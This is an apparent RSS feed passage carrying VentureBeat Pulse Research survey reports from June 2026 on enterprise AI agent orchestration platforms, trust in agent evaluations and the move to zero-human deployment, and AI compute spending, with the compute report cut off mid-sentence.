<content:encoded><![CDATA[<p>Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agents” are still chatbot wrappers, the control plane enterprises expect is deliberately hybrid to avoid lock-in, and real-time fiscal control over token burn remains the exception.</p><p>This wave of VentureBeat Pulse Research examines enterprise agent orchestration: which platforms enterprises run on, what drives the choice, what they optimize for, how they expect agent control to be structured, and — most revealingly — how orchestrated their deployed “agents” actually are and how tightly they control the cost of running them.</p><p>The central finding is a gap between orchestration ambition and orchestration reality. Enterprises are consolidating fast onto the major model platforms: Anthropic’s Claude is the primary platform for 40%, more than double any rival, followed by Microsoft (18%) and OpenAI (13%). The choice is driven by “model gravity” — native alignment with a state-of-the-art base model (21%) — and success is judged by reliable, multi-step execution (task completion reliability 32%, multi-step workflow management 28%). Yet asked to assess their portfolios honestly, 71% say a quarter or fewer of their deployed “agents” are true multi-step orchestrated workflows rather than single-prompt chatbot wrappers, and only 10% have crossed the halfway mark. The orchestration layer is being built well ahead of the orchestrated portfolio it is meant to run.</p><p>That gap shapes the architecture enterprises are putting in place. By the end of 2026 a clear majority (51%) expect a hybrid control plane — provider-native plus external orchestration — and only 6% expect to hand control to a provider-managed service, because vendor lock-in (35%) is the risk they fear most if control lives inside a model provider. Investment follows the build-out: agent workflow tooling leads the spend (34%), with security and permissions enforcement (25%) behind. And fiscal control lags throughout — more than a quarter (27%) have no real-time way to stop a runaway agent before the bill arrives.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this instrument focused on enterprise agent orchestration. Responses are filtered to organizations with 100 or more employees (n=101), drawn from a single June 2026 wave; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends.</p><p>By organization size the sample is spread evenly across the enterprise bands: 100–499 employees, 2,500–9,999, and 50,000+ (21% each), with 10,000–49,999 and 500–2,499 (19% each). By role it is senior and buyer-credible: product and program managers (15%), CIO/CTO/CISO (13%), consultants and advisors (13%), and a spread of data, AI, and engineering directors and VPs, with an “Other” function at 18%. On purchasing, 81% are recommenders, influencers, or final decision-makers for AI solutions (66% recommender/influencer, 15% final decision-maker). Technology/Software is the largest industry at 44%, followed by Financial Services (17%) and Healthcare/Life Sciences (8%).</p><p>At 101 respondents the sample is robust enough to read directionally with reasonable confidence, though it remains self-selected and is not a probability sample.</p><h2>Finding 1: Orchestration runs on model-provider platforms</h2><p><b>Anthropic’s Claude leads; open frameworks are marginal</b></p><p>We asked which agent orchestration platform enterprises primarily use today. The answer concentrates on the major model providers — and on one in particular.</p><div></div><p>A note on reading these shares. As described in the methodology section, the respondents are self-selected, and this question asked them for a single primary platform — so the figures measure which platform leads each enterprise's deployment, within a self-selected audience of AI-active technical decision-makers. A sample built this way can diverge substantially from spend-weighted market measures, and each VB Pulse survey draws its own sample with its own company-size mix, so vendor figures should not be compared across our surveys either. Read these shares as a portrait of where this cohort has placed its primary orchestration bet today, rather than as market share.</p><p>The model platforms dominate. Anthropic, Microsoft, OpenAI, Google, and Amazon together account for roughly 80% of deployments (81 of 101), while the open frameworks (LangChain/LangGraph) and custom in-house builds that anchor engineering discussion sit in single digits. Anthropic’s lead — 40%, more than double the next platform — mirrors the “model gravity” selection logic in Finding 2: enterprises are choosing the orchestration layer that comes with the model they want to build on. As with the security vendors in the prior agent-security wave, the tools that define the category in technical circles are not yet where enterprise deployment concentrates. A small 3% are not orchestrating at all.</p><p>Respondents rate the platforms they run at 3.94 out of 5 overall (109 answered), with “value for money” specifically at 3.94 and “ease of implementation” the weakest score, at 3.85 — placing orchestration near the bottom of our five-tracker satisfaction range, ahead of only evaluation tooling. A rating just under 4 out of 5, from users of whom 96% plan to change their orchestration approach within the year, reads as provisional acceptance: the platforms work well enough to run today, and not well enough to stop the search for something better. The ratings sit alongside near-universal intent to change; this is a layer enterprises tolerate more than they love.</p><h2>Finding 2: Model gravity drives platform selection</h2><p><b>The base model, not the tooling, decides the platform</b></p><p>We asked what most influenced the orchestration platform choice. The single largest factor is the pull of the underlying model — though flexibility and ease of development follow close behind.</p><div></div><p>Model gravity leading is the selection-side explanation for Anthropic’s platform lead: enterprises pick the orchestration environment closest to the frontier model they have standardized on. But the next tier complicates the picture — flexibility across models and tools (17%) and ease of development (17%) say enterprises also want to avoid being trapped by that choice, foreshadowing the lock-in fear in Finding 6. Security and permissions (14%) and total cost of ownership (11%) round out a pragmatic buying logic. Performance (latency/memory) sits last at 4%, a reminder that at this stage of adoption the binding constraints are model fit and optionality, not raw speed.</p><h2>Finding 3: The job is reliable multi-step execution</h2><p><b>Enterprises just orchestration by whether it completes the work</b></p><p>We asked what enterprises optimize for — their primary success metric for orchestration. Reliability and multi-step workflow management dominate; developer- and user-facing metrics trail.</p><div></div><p>Task completion reliability (32%) and multi-step workflow management (28%) together account for 59% of responses (60 of 101): orchestration succeeds, in the enterprise view, when it reliably carries a task through multiple steps to completion. Developer productivity (17%) matters but is secondary — the inverse of its prominence in framework discussion — and end-user experience (9%) is a minor concern, consistent with orchestration being an internal execution problem rather than a UX one. This reliability-first standard is exactly what makes the Chatbot Trap finding so pointed: enterprises define success as dependable multi-step execution, yet most of their deployed “agents” do not yet do multi-step work at all.</p><p>The trap is not evenly distributed. Splitting the sample by organization size, 77% of smaller enterprises say a quarter or fewer of their agents do true multi-step work, against 62% of larger ones. Larger enterprises are meaningfully further into genuine multi-step deployment; the chatbot trap is, directionally, a mid-market condition.</p><h2>Finding 4: Consolidate, productionize, and build in-house </h2><p><b>Three strategic moves are nearly tied for the year ahead</b></p><p>We asked what major change enterprises anticipate in their orchestration strategy over the next 12 months. Three moves cluster at the top, almost evenly split.</p><div></div><p>The top three — building in-house control (25%), standardizing on one framework (24%), and moving agents from sandbox to production (23%) — are statistically indistinguishable and tell a single story: enterprises are moving from experimentation to operational consolidation. They want fewer frameworks, more production exposure, and more ownership of the control layer; only 4% expect no change. The appetite for custom in-house control planes is notable alongside the platform concentration in Finding 1 — enterprises are standardizing on model-provider platforms while simultaneously planning to wrap them in control logic they own, the hybrid posture that Finding 6 makes explicit.</p><h2>Finding 5: Nearly seven in 10 plan to switch — and the biggest group of movers has no shortlist </h2><p>The strategic change enterprises anticipate (previous finding) comes with vendor motion attached. Asked whether they plan to adopt a new, additional, or replacement agent orchestration platform in the next twelve months, more respondents are moving here than in any other layer we track.</p><div></div><p>Asked which platforms they are considering, the most common answer among those in motion is none yet: 29% of all respondents are evaluating without a shortlist, the largest single response after "not considering a change." Among named candidates, OpenAI leads at 16%, followed by LangChain/LangGraph at 12% and Anthropic at 7% — and notably, the independent frameworks draw roughly double their current usage footprint in forward consideration, the same pattern our security tracker found for specialist vendors. Read with this report's concentration and lock-in findings, the picture completes itself: the major model-platform providers hold roughly four-fifths of today's primary usage, vendor lock-in has become the leading fear, 96% anticipate a strategic change — and now the purchase intent to act on all of it, with the largest bloc of buyers still undecided. The most concentrated layer of the agentic stack is also, as of June, the least settled.</p><h2>Finding 6: Investment flows to workflow tooling</h2><p><b>Tooling and permissions lead the spend; monitoring trails</b></p><p>We asked which orchestration-related investment will grow most next year. Agent workflow tooling leads, with security and permissions enforcement behind.</p><div></div><p>Workflow tooling leading (34%) is the budget-side expression of the reliability-and-multi-step priority in Finding 3: the money is going to the machinery that strings steps together dependably. Security and permissions enforcement (25%) and scaling infrastructure (20%) follow — the investments required to take agents from sandbox into production, the strategic move in Finding 4. Monitoring and debugging draws a smaller 11%, with another 11% reporting flat budgets. The weight on tooling, permissions, and scaling over pure observability signals that enterprises are spending to build and harden orchestration, not merely to watch it run.</p><h2>Finding 7: The control plane will be hybrid — and lock-in is why</h2><p><b>Enterprises expect to split control between providers and their own layer</b></p><p>We asked where enterprises expect the primary control plane for agents to live by the end of 2026, and what worries them most if that control sits inside a model-provider platform. A clear majority expect a hybrid model — and vendor lock-in is the reason.</p><div></div><p>Hybrid control is the dominant expectation by a wide margin (51%), and only 6% expect to hand control to a provider-managed service outright. Read together, the hybrid, custom, and externally-abstracted options — every architecture that keeps control at least partly outside the provider — sum to 88% (89 of 101). The reason surfaces directly when we asked about the risk of provider-resident control: vendor lock-in leads at 35% (35 of 101), ahead of security and permissioning limitations (28%) and inflexibility across models and tools (21%). The pattern echoes the prior wave’s “don’t trust the model to police itself” posture — here, enterprises will build on a provider’s platform but decline to be governed entirely by it. The hybrid control plane is the architectural hedge against the lock-in they most fear.</p><p>The June figure asserting a preference for a hybrid control plane marks movement from earlier. In the April–May survey (n=145), only 34% expected a hybrid control plane, and a greater number (12%) expected to hand control fully to a provider-managed service. These two snapshots don’t yet measure a confirmed longitudinal trend — but the direction of the conversation is unambiguous: toward keeping control.</p><p>Lock-in is also a new arrival as a top concern. In the April–May wave, the leading concern was security and permissioning limitations (32%), with lock-in second at 24%; by June the two had traded places. The worry about provider platforms appears to be maturing from whether they can be secured to whether they can be replaced.</p><h2>Finding 8: The chatbot trap — most “agents” aren’t agents yet</h2><p><b>Enterprises admit most deployments are still chatbot wrappers</b></p><p>We asked enterprises to assess their portfolios honestly: what share of their deployed “agents” are true multi-step orchestrated workflows versus simple single-prompt chatbot wrappers. The answer is the defining finding of this wave.</p><div></div><p>This is the gap at the center of the report. Combining the bottom two bands, 71% of enterprises (72 of 101) say a quarter or fewer of their deployed “agents” are genuinely orchestrated — and just 10% (10 of 101) have crossed the halfway mark. The ambition documented in the earlier findings — model-provider platforms, reliability-first success metrics, production rollouts, a deliberate control architecture — runs well ahead of the deployed reality, which remains overwhelmingly single-prompt assistants dressed as agents. This is less a contradiction than a roadmap: the platforms, budgets, and strategies are being put in place precisely because the orchestrated portfolio is still so thin. The open question for later waves is how fast the reality closes on the ambition.</p><h2>Finding 9: Fiscal control is still reactive</h2><p><b>Only a minority can stop a runaway agent before the bill arrives</b></p><p>Finally, we asked how enterprises enforce fiscal control over agent token consumption — the risk that an autonomous loop exhausts a budget before anyone intervenes. Most rely on native caps or after-the-fact monitoring; real-time programmatic control is the exception.</p><div></div><p>More than a quarter of enterprises (27%) admit they have no real-time, programmatic way to stop an agent before a budget-breaking bill arrives — they learn of it from the logs afterward. Another 32% lean entirely on the native caps and throttles built into their primary platform, a control only as good as the provider’s tooling and one that ties back to the lock-in concern of Finding 6. The enterprises building custom gateways (23%) or exploiting cross-model routing to arbitrage cost (19%) are the ones treating token burn as an engineering problem to be controlled deterministically. As with orchestration maturity, fiscal control is an area where the operational reality lags the ambition: agents are moving toward production faster than the cost-control plane around them is being built.</p><p>It’s worth noting, a split appears according to company size: roughly one in three enterprises under 2,500 employees (34%) exercises only reactive control of agent spend, against 20% of larger enterprises — directional figures, but consistent with the chatbot-trap split. The mid-market is running the least mature agents on the least instrumented budgets.</p><h2>The bottom line: The layer is real; most of the agents aren't yet</h2><p>Organizations with 100 or more employees describe an orchestration strategy that is consolidating quickly and maturing slowly. They are standardizing — for now — on model-provider platforms, which collectively hold roughly four-fifths of primary usage, chosen for the gravity of the underlying model, and they judge success by reliable multi-step execution. Investment is flowing to workflow tooling and permissions, the strategy is to consolidate frameworks and push agents into production, and the control plane they expect is deliberately hybrid, because vendor lock-in is the risk they fear most. But the standardization is provisional: 68% plan to adopt a new, additional, or replacement orchestration platform within twelve months — the highest switching intent of any layer we track — and the largest group of those movers has not yet shortlisted a candidate. Today's concentration describes where enterprises are, and visibly does not describe where they intend to stay.</p><p>But the honest self-assessment punctures the ambition. Seventy-one percent say a quarter or fewer of their deployed "agents" are truly orchestrated, only 10% are past the halfway mark, and more than a quarter cannot stop a runaway agent in real time. The orchestration layer — the platforms, the budgets, the control architecture — is being built ahead of the orchestrated portfolio it is meant to run. At 101 respondents in a single June wave this reads as a clear directional signal rather than a precise measurement: enterprises have decided how they want to orchestrate agents well before most of their agents are doing anything an orchestration layer is for. The questions for subsequent waves are whether the deployed reality closes the gap on the ambition — and, with nearly seven in ten buyers in motion and most of them undecided, which platforms the settled stack finally lands on.</p><hr><p><i>Based on survey responses from 101 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. Because this is one wave rather than a pooled multi-month sample, results read directionally rather than as a confirmed trend. Respondents include product and program managers, CIOs, CTOs and CISOs, consultants and advisors, and directors and VPs of data, AI, and engineering, across Technology/Software, Financial Services, Healthcare, and other sectors.</i></p>]]></content:encoded>
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<title><![CDATA[The agent evaluation gap: Enterprise AI organizations have a reality-alignment problem, not a coverage problem — and most are shipping to production anyway]]></title>
<description><![CDATA[Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated...]]></description>
<link>https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689829/it-nachrichten/the-agent-evaluation-gap-enterprise-ai-organizations-have-a-reality-alignment-problem-not-a-coverage-problem-and-most-are-shipping-to-production-anyway/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:44 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 157 enterprises, organizations are granting AI agents more autonomy while trusting the evaluations meant to gate that autonomy less. Half have already shipped an agent that passed their internal evaluations and then failed a customer in production; only one in twenty fully trusts automated evaluation today; and the most-cited weakness is that evaluations do not align with real-world outcomes. Yet two-thirds already allow, or are actively engineering toward, deploying agent changes to production on automated evaluation alone — with no human in the loop. The result is an evaluation gap — the distance between how much autonomy enterprises are handing their agents and how far they trust the tests that are supposed to catch the failures.</p><p>This wave of VentureBeat Pulse Research examines how technical leaders measure agent performance: which reliability and evaluation platforms they use, how they select and trust them, what breaks in production, and how far they are willing to let agents run without a human in the loop.</p><p>The central finding is an evaluation gap — the distance between the autonomy enterprises are granting their agents and the trust they place in the evaluations meant to govern it. Half of organizations (50%) have, in the past year, deployed an agent or LLM feature that passed their internal evaluations and then caused a customer-facing failure, and a quarter have seen it happen more than once. Trust in the tests themselves is thin: only 5% say they fully trust automated evaluation today, and the single most-cited limitation is that evaluations align poorly with real-world outcomes (29%). Enterprises are discovering that a passing eval is not the same as a working agent.</p><p>What makes the gap consequential is the direction of travel. Two-thirds of organizations (66%) already permit fully automated, zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to allow it within twelve months (33%). At the same time, the evaluation stack that would have to earn that trust is fragmented and immature: the most common primary tools are the model providers’ native evals, tied with having no dedicated tooling at all (17% each); and only about a quarter of enterprises run real-time quality checks on live production traffic. The autonomy is arriving faster than the assurance.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey — the Agentic Reliability &amp; Evals tracker — focused on how technical leaders evaluate agent performance and reliability. Responses are filtered to organizations with 100 or more employees (n=157), drawn from a single survey in June 2026; because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Where questions were multiple-select, those shares can sum to more than 100%.</p><p>By role the sample is senior and buyer-credible: 38% are final decision-makers for AI purchases and another 34% recommenders or influencers. Product and program managers (15%), consultants and advisors (10%), directors of engineering/IT (8%), and CIOs/CTOs/CISOs (8%) lead the named titles, alongside a large “Other” function (37%). By organization size the sample is mid-market-weighted: 100–499 (37%) and 500–2,499 (27%) employees lead, with 2,500–9,999 (20%), 10,000–49,999 (10%), and 50,000+ (6%) above them. Technology/Software is the largest industry at 23%, followed by Retail/Consumer (15%), Healthcare/Life Sciences (12%), and Manufacturing (10%).</p><p>At 157 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It skews toward the mid-market, so it is best read as the view from organizations actively standing up agent evaluation practices rather than from the largest operators.</p><p><i>Note: This survey was rebuilt for the June wave from the earlier “LLM observability and evaluations” survey; because the questions and sample differ, no comparisons are made to the April–May data.</i></p><h1>Finding 1: A passing eval is not a working agent</h1><p><b>Half have shipped an agent that passed evals, then failed a customer</b></p><p>We asked whether, in the past 12 months, organizations had deployed an agent or LLM feature that passed their internal evaluations but then caused a customer-facing failure. Half of those that run evaluations had.</p><div></div><p>This is the report’s defining number. Half of organizations (50%) have shipped an AI feature that cleared their internal evaluations and then failed in front of a customer — an incorrect output, a broken workflow, or a quality incident — and a quarter have seen it happen more than once. Only 36% report no such failure, and the remainder either run no pre-deployment evaluations (8%) or don’t track the root cause closely enough to know (6%). The failure is precise and expensive: the evaluation said the agent was ready, and it was not. Everything that follows — how enterprises trust their evals, what they monitor, and how much autonomy they grant — is shaped by this experience.</p><h2>Finding 2: Almost no one fully trusts automated evaluation</h2><p><b>The top complaint: Evals don't match real-world outcomes</b></p><p>We asked which limitation most reduces trust in automated agent evaluations today. Only a sliver of enterprises had no complaint at all.</p><div></div><p>Trust in automated evaluation is scarce, and specific. Only 5% of organizations say they fully trust automated evaluation as it stands — meaning 95% name a limitation that holds them back. The most common, at 29%, is the one that most directly explains Finding 1: evaluations align poorly with real-world outcomes, passing agents that later fail. Bias or inconsistency (21%) and a lack of explainability (18%) follow — enterprises cannot always tell why an evaluation reached its verdict — and 17% cite data-leakage or privacy concerns in the evaluation process itself. The tests meant to certify agents are not yet trusted to certify them, which is precisely why the autonomy trajectory in Finding 3 is so striking.</p><h2>Finding 3: The autonomy ceiling is rising anyway</h2><p><b>Two-thirds already allow, or are building toward, zero-human deployment</b></p><p>We asked whether organizations would let an autonomous agent deploy a code or system change to production on automated evaluation results alone, with no human-in-the-loop validation. The trajectory runs straight through the trust gap.</p><div></div><p>Here is the paradox at the heart of the report. Even though almost no one fully trusts automated evaluation (Finding 2), two-thirds of organizations (66%) either already allow zero-human-in-the-loop deployment for low-risk agents (34%) or are actively engineering their pipelines to permit it within a year (33%). Only 22% rule it out for the foreseeable future. The direction is unambiguous: enterprises are moving to let evaluations gate production autonomously — removing the human check — at the same moment they say those evaluations don’t reliably match reality. The autonomy ceiling is rising faster than the assurance beneath it, which is the mechanism by which the false-confidence failures of Finding 1 will scale rather than shrink.</p><p>Notably, the autonomy bet is not just a small company phenomenon. Splitting the sample by company size, larger enterprises are slightly further down the path toward zero human review than smaller companies (70% versus 64%) and slightly more likely to have shipped an evaluation-passing agent that then failed a customer (54% versus 48%). The assumption that large, regulated organizations are holding the human in the loop longest is, in this sample, backwards.  To be sure, these are directional figures, since the survey was not a huge sample — 57 respondents from companies with 2,500+ employees and 100 from companies smaller than that. </p><h2>Finding 4: The evaluation stack is fragmented and provider-led</h2><p><b>Provider-native evals lead — tied with no dedicated tool at all</b></p><p>We asked which agent reliability or evaluation platform enterprises primarily use today. The market has no clear leader — and a large share has nothing dedicated.</p><div></div><p>The evaluation layer is early and unconsolidated. Provider-native tooling leads — OpenAI’s native evals and traces (17%) and Anthropic’s Claude Console evals (13%) together outweigh any independent platform — but it is tied at the top by a striking answer: 17% of enterprises use no dedicated agent-evaluation tooling at all, a notable gap for organizations shipping agents to customers. The specialist evaluation vendors — DeepEval (12%), Braintrust (8%), LangSmith, Weave, Promptfoo, Langfuse, Arize — are scattered across single to low double digits, and 11% have built their own. No independent platform has yet become the category standard, which leaves most enterprises evaluating agents with provider-native tools, home-grown scripts, or nothing.</p><h2>Finding 5: Production monitoring rarely watches output quality</h2><p><b>Only a quarter run real-time quality checks on live traffic</b></p><p>Production monitoring for an AI agent can watch two very different things. It can watch whether the system is <b>functioning</b> — is the agent up and responding, did each request complete, how fast, at what cost, with any errors. Or it can watch whether the agent's output is <b>correct</b> — automated checks that evaluate the content of each answer as it goes out: did the agent give the right answer, take the right action, stay within policy. The distinction matters because a confidently wrong answer is invisible to the first kind of monitoring: the request completes, the response is fast, no error is thrown, and every functioning-metric reads healthy. We asked organizations which kind their live production monitoring is built for today.</p><div></div><p>Grouped by what is actually being watched, the split is stark: 51% of organizations monitor only whether the agent is functioning, while 23% monitor whether its answers are right. Counting the ad-hoc reviewers and the don't-knows, roughly three-quarters of organizations run no automated, real-time evaluation of output correctness in production — they can see that the system is up and what it costs, and they are taking the correctness of its answers on faith. That blind spot is the runtime counterpart to the pre-deployment gap in Finding 1: the same organizations engineering the human out of the deployment decision mostly cannot see, in real time, when the deployed agent starts getting things wrong.</p><h2>Finding 6: Bought on cost, measured on consistency</h2><p><b>Price and integration drive selection; evaluation consistency is the goal</b></p><p>We asked what most influenced enterprises’ choice of an evaluation vendor, and what they treat as their primary measure of success. Both answers are pragmatic.</p><div></div><p>Enterprises buy evaluation tooling on economics and trust it on repeatability. Cost of evaluations (28%) narrowly leads selection, just ahead of ease of integration (27%) and evaluation accuracy (24%) — breadth of observability (13%) and vendor roadmap (4%) matter far less. On what success looks like, more than a third (36%) name evaluation consistency — getting the same verdict on the same behavior every time — well ahead of speed of experimentation (19%), reduction in failures (18%), production visibility (13%), and compliance (11%). The emphasis on consistency is telling: before enterprises can trust an evaluation’s verdict, they need it to be stable — the very property whose absence (bias and inconsistency) ranked among the top trust limitations in Finding 2. Satisfaction with current tooling is only moderate, averaging 3.8 on a five-point scale across overall satisfaction, ease of implementation, and value for money.</p><h2>Finding 7: The next dollar goes to humans and observability</h2><p><b>Investment is flowing to oversight, not just automation</b></p><p>We asked which reliability and evaluation investment will grow most over the next year. The money is going toward watching agents more closely — including with people.</p><div></div><p>The second-largest planned investment — behind only production observability — is human review workflows, at 26%. Read against Finding 1, that is the report's quietest contradiction: at the same moment two-thirds of enterprises are engineering the human out of the deployment decision, more of them plan to grow spending on human reviewers (26%) than on the automated evaluation pipelines (16%) that would replace them. The zero-human trajectory and the human-review budget are rising in the same companies at the same time. Indeed, only 8% report that their budget is not increasing. </p><p>Taken together, enterprises are hedging: building toward autonomy while spending to watch agents more closely and keep humans available for the calls that automated evaluation cannot yet be trusted to make.</p><h2>Finding 8: A tooling reshuffle is coming</h2><p><b>Nearly two-thirds plan to adopt or switch platforms within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement evaluation platform, and which they are considering. Few intend to stand pat.</p><div></div><p>The evaluation market is wide open. While 36% have no plans to change, a clear majority (64%) intend to adopt a new, additional, or replacement platform within twelve months, and 31% within the next quarter. The consideration set points where current usage is thinnest: Confident AI’s DeepEval leads what enterprises are evaluating (20%), ahead of OpenAI’s native evals (13%) and Braintrust (9%) — the open-source specialists drawing more interest than their present footprint. </p><p>Given that so many enterprises today rely on provider-native tools or nothing at all (Finding 4), this is less a defection than a first real wave of tooling adoption — the moment the evaluation layer starts to consolidate. Which platforms earn that trust, in a market where almost no one trusts automated evaluation yet, is the open question this series will keep tracking.</p><h2>The bottom line: An evaluation gap that autonomy will widen, not close</h2><p>Organizations with 100 or more employees are granting AI agents more independence than they trust their evaluations to support. Half have already shipped an agent that passed its evals and then failed a customer; almost none fully trust automated evaluation, chiefly because it doesn’t match real-world outcomes; and most watch production for uptime and cost rather than for whether the agent’s answers are right. Yet two-thirds already allow, or are actively building toward, deploying to production on automated evaluation alone.</p><p>The vendor market is early and unsettled: the most common primary evaluation tools are provider-native evals, tied with no dedicated tooling at all, and a clear majority plan to adopt or switch platforms within the year. Encouragingly, the next dollar is going to observability and — pointedly — human review, suggesting enterprises sense the gap even as they engineer past it. At 157 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: autonomy is being granted on the strength of evaluations that the people granting it do not yet trust. The evaluation gap is not a coverage problem that more tests alone will close; it is a problem of evaluations that reflect reality and can be trusted to gate it. The open question for later waves is whether assurance catches up to autonomy — or whether the false-confidence failures move from customer incidents into changes that deploy themselves.</p><hr><p><i>Based on survey responses from 157 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read rather than a precise measurement — the sample is self-selected, not a probability sample, and skews toward the mid-market. Respondents include product and program managers, consultants and advisors, directors of engineering/IT, and CIOs/CTOs/CISOs, among other functions, across technology/software, retail/consumer, healthcare/life sciences, manufacturing, and other industries.</i></p>]]></content:encoded>
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<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689826/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:39 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading 